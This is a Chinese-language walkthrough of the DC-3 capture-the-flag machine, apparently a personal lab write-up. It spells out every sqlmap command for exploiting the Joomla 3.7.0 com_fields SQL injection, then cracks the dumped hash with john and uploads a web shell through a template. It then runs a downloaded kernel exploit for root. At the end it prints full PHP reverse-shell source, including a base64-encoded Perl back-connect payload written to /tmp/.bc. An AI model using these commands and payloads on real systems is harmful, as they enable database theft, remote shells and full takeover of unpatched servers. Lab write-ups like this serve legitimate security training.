题前环境 (kali dc-3靶机)
dc 1 2 不同 dc 3更改一些参数
点击高级 修改对应的IDE
照旧 先进行信息收集
这次多出来的主机是150 nmap端口扫描
80端口可用 还将该端口的详细信息给出 并且cms用的是Joomla
尝试访问
采用niko敏感目录扫描 (nikto -h 192.168.47.150)
发现后台登录地址
用 joomscan扫描器扫一下 看看改版本有什么漏洞 (joomscan -u 192.168.47.150)
发现joomla版本为3.7.0 再查找joomla 3.7.0存在的漏洞
查看漏洞利用42033.txt文章 (//现在还不应该存在桌面上 后期拷贝的)
(cat usr/share/exploitdb/exploits/php/webapps/42033.txt)
给出了sql注入点 开始利用
列出所有数据库 sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
爆出五个数据库 观察到有一个joomla的数据库 来爆这个库
sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
爆出了 #__users 表 一般 users 放的是用户名和加密后的密码 或是密码的hash值
那么我们来爆user表的列名
sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T “#__users” --column -p list[fullordering]
扫到了password 和 username 列 接着爆字段
sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T “#__users” -C "username,password" --dump -p list[fullordering]
看到的结果 但是是以密文的形式 需要我们解密
在root文件夹下新建一个txt文件将password的字段复制进去
john暴力破解该hash值
得到登录后台账号密码(snoopy) 拿去登录
浏览网页 发现存在文件上传点 漏洞点
选择创建一个新文件 save保存
将PHP反弹shell代码复制进去(需设置目标ip 和端口)
保存就上传 然后进行测试访问 (再根据joomla的特性 模块会单独放在一个文件夹里/templates/ 而beez3模块就在/templates/beez3/里面 刚才创建的webshell路径为 http://192.168.47.150/templates/beez3/shell.php)
开启nc 监听端口
反弹shell成功
利用python获取交互shell (python -c 'import pty; pty.spawn("/bin/bash")'
交互shell获取成功 但还不是root权限 需要Linux提权
查看操作系统版本信息 寻找提权漏洞突破口 (tac /etc/issue) (cat /proc/version)
得到操作系统与其版本
使用searchsploit工具搜索漏洞 打开另一个终端 (searchsploit Ubuntu 16.04)
显示漏洞利用的完整路径 (searchsploit 39772.txt -p)
利用cp命令拷贝到桌面
打开39772文件
文本写的是漏洞产生的原因 描述和漏洞利用的方法 还附上了exp 最后一行的连接 (https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip )自行下载
接着我们下载该压缩包并放到kali桌面里 解压该文件 将下载好的文件导入到DC-3靶机里
然后在桌面开启http服务 利用exp提权
访问开启的http服务 exp地址如下图
服务开启成功
回到我们的虚拟终端 利用wget命令下载该工具 (wget http://192.168.47.146:8888/exploit.tar 我这里将exploit.tar移到桌面了 正常应该再你下载的39772.zip的解压后的文件里 )
下载完后用tar命令解压该压缩包 (tar -xvf exploit.tar)
接着cd进入解压后的文件夹 ls查看里面的文件
执行下两个文件 Linux系统下.(点)是执行某个文件的意思 (./compile.sh)
( ./doubleput)
提权成功
flag在root目录底下
小结:
A: Joomlal漏洞
B: niko敏感目录扫描
C: joomscan
D: sql
E: john暴力破解
F: 文件上传漏洞
G: python交互shell(python -c 'import pty; pty.spawn("/bin/bash")'
H: searchsploit工具搜索漏洞
I: 利用exp提权
J: PHP反弹shell
- function which($pr) {
- $path = execute("which $pr");
- return ($path ? $path : $pr);
- }
- function execute($cfe) {
- $res = '';
- if ($cfe) {
- if(function_exists('exec')) {
- @exec($cfe,$res);
- $res = join("\n",$res);
- }
- elseif(function_exists('shell_exec')) {
- $res = @shell_exec($cfe);
- } elseif(function_exists('system')) {
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
- $res = '';
- while(!@feof($f)) {
- $res .= @fread($f,1024);
- }
- @pclose($f);
- }
- }
- return $res;
- }
- function cf($fname,$text){
- if($fp=@fopen($fname,'w')) {
- @fputs($fp,@base64_decode($text));
- @fclose($fp);
- }
- }
- $yourip = "your IP";
- $yourport = 'your port';
- $usedb = array('perl'=>'perl','c'=>'c');
- $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
- "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
- "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
- cf('/tmp/.bc',$back_connect);
- $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
- ?>